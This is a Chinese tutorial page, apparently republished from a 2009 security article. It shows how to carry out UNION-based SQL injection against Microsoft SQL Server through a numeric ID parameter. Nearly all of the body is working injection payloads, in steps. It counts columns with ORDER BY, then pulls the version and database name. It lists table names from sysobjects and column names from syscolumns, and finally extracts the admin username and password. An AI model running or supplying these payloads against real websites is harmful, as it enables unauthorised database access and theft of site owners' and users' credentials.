当前位置: 首页 > 图文教程 > 数据库 > MSSQL > MSSQL下用UNION和系统表配合猜表名和字段名深度注入

MSSQL
SQL Server中常使用的DBCC命令
Windows2003服务器安装设置教程:MSSQL安全篇
MySql教程:两个表之间更新数据
asp.net网站开发中使用Sqlite嵌入式数据库
Microsoft SQL Server SA权限安全
SQL Server帐号孤立的问题解决
SQL server教程:SQL语法
修复MSSQLSERVER数据库置疑的步骤
安全基础知识 细说暴库的原理与方法
MSSQL和Mysql自定义函数与存储过程
MSSQL数据库不能手动创建新的连接
ASP连接MSSQL的错误: 拒绝访问
MSSQL数据库镜像在Oracle中是如何实现的
写给菜鸟站长:解读你的茫然
教你创建动态MSSQL数据库表
MSSQL下用UNION和系统表配合猜表名和字段名深度注入
Public权限下的列目录
phpBB 3.0.6 RC1简单介绍和下载
SQL Server:SQL中如何正确认识触发器
SQL Server:如何正确理解存储过程

MSSQL下用UNION和系统表配合猜表名和字段名深度注入


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-30   浏览: 81 ::
收藏到网摘: n/a

  这是这次出攻防大赛题目的时候顺便做的一些注入总结,是我通过查询系统表结构总结出来的。只要注入点有效,并且没有过滤单引号,即使它管理员表名和字段名设置的再复杂都是可以猜出来的,而且由于是用union,效率还是很高的。还有只需要DBO权限即可。

  以一个数字型注入点为例( 暂时假设这个数字型注入点对单引号也没有过滤)

  先用 order by 猜SQL所查询字段数,并用Union验证(这里直接Select当前数据库下的sysobjects系统表)

  ID=735 order by 8

  ID=-735 union select 1,2,3,4,5,6,7,8 from sysobjects

  或者

  ID=-735 union select 1,2,3,4,5,6,7,8 from master.dbo.sysobjects

  假如这里屏幕上会显示2,3,4

  顺便查下版本和数据库名

  ID=-735 union select 1,@@version,db_name(),4,5,6,7,8 from sysobjects

  //这里假如查出当前数据库名dbname

  接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了)

  ID=-735 union select 1,2,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')),4,5,6,7,8 from sysobjects

  如果要查其他数据库的表名还可以这样:

  ID=-735 union select 1,2,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),4,5,6,7,8 from sysobjects

  //这里假如查出管理员表admin

  继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)

  ID=-735 union select 1,2,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='admin'))),4,5,6,7,8 from sysobjects

  //这里假如查到的管理员用户名和密码字段分别是name和psw

  剩下的就简单啦,依次把管理员用户名和密码就可以Union出来了(仍然修改第二个top N来遍历字段)

  //这里假设使用的是前面已经猜出来的表名admin和字段name,psw

  ID=-735 union select top 1 1,name,psw,4,5,6,7,8 from admin where name not in (select top 0 name from admin)